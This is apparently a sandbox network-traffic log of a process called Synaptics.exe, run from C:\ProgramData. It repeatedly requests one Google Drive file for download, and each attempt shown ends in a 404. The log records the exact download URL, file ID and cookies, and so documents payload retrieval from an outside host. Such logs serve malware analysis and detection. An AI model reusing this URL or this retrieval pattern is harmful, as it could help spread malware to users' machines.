2025-01-02 19:29:54 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:54 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 69 4d 74 69 58 73 36 32 30 34 6c 6b 58 65 6e 31 76 69 46 51 36 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="iMtiXs6204lkXen1viFQ6Q">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:54 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.9	49988	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:54 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:55 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7sfKN0H37Su_9SJUFc-2GXhrwQoYbAj0saupF9Ob5GAqecY77dKUsfJ0j4uOeIaqDS Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:55 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-etMRvFvIMZcD9ZcYk71Skg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:55 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:55 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 73 7a 73 51 4e 4c 35 46 79 75 53 78 57 73 50 2d 77 69 62 54 65 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="szsQNL5FyuSxWsP-wibTeg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:55 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.9	49989	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:54 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
2025-01-02 19:29:55 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:55 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-iT5lVWVgE7ke6-SiFI2f5Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.9	49996	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:55 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:56 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4bJT-AK1xgGw6CXIPxi7ORxN_wPPXBsmFov6Lh2T1bW8dBHsg5gOhq56EmJ0BwNpZS Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:55 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-cFJ0x-YPeC1h8s5nXPZLmQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:56 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:56 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 65 34 58 48 6d 4d 57 43 75 72 49 45 68 38 6a 62 77 71 71 70 6e 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="e4XHmMWCurIEh8jbwqqpnQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:56 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.9	49997	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:55 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=hVlbUWvKAsXXeF2w1QNF8q5JgoN1tzf87ge04HU4z-izoj3_LDtGDRc8bxdZ01BsH-o2bzsVRFQ5r_WfhaVrhAteUAMZUwwIBUUg2Bex0dX01kJtDPaFFK0wIq1WKZ5eH2OJNc4egmV2sSWKiE-nh0MxGmLMyVzjQur-zpbgCqpOWYbRsspUiMg
2025-01-02 19:29:55 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:55 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-NrXjg42GAlNoEv3u85DceQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.9	50002	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:55 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=hVlbUWvKAsXXeF2w1QNF8q5JgoN1tzf87ge04HU4z-izoj3_LDtGDRc8bxdZ01BsH-o2bzsVRFQ5r_WfhaVrhAteUAMZUwwIBUUg2Bex0dX01kJtDPaFFK0wIq1WKZ5eH2OJNc4egmV2sSWKiE-nh0MxGmLMyVzjQur-zpbgCqpOWYbRsspUiMg
2025-01-02 19:29:56 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:56 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-UFbVF8UnWTwn1tby_1LulQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.9	50004	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:55 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:56 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5yipHIJRURjqsV3fqP1rVDuJ_E4E5DWPLypA59nBORL4LA0vBSetivf7zBLfrnWG_U Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:56 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-guCN7p2yyVA0nTNM9Emksw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:56 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:56 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 39 54 79 72 2d 64 78 6f 2d 63 42 7a 70 36 66 50 36 54 6a 44 6c 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="9Tyr-dxo-cBzp6fP6TjDlA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:56 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.9	50007	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:56 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:57 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:56 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-XzuJM5sw8cp6UpgurRQ1Sg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.9	50011	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:56 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
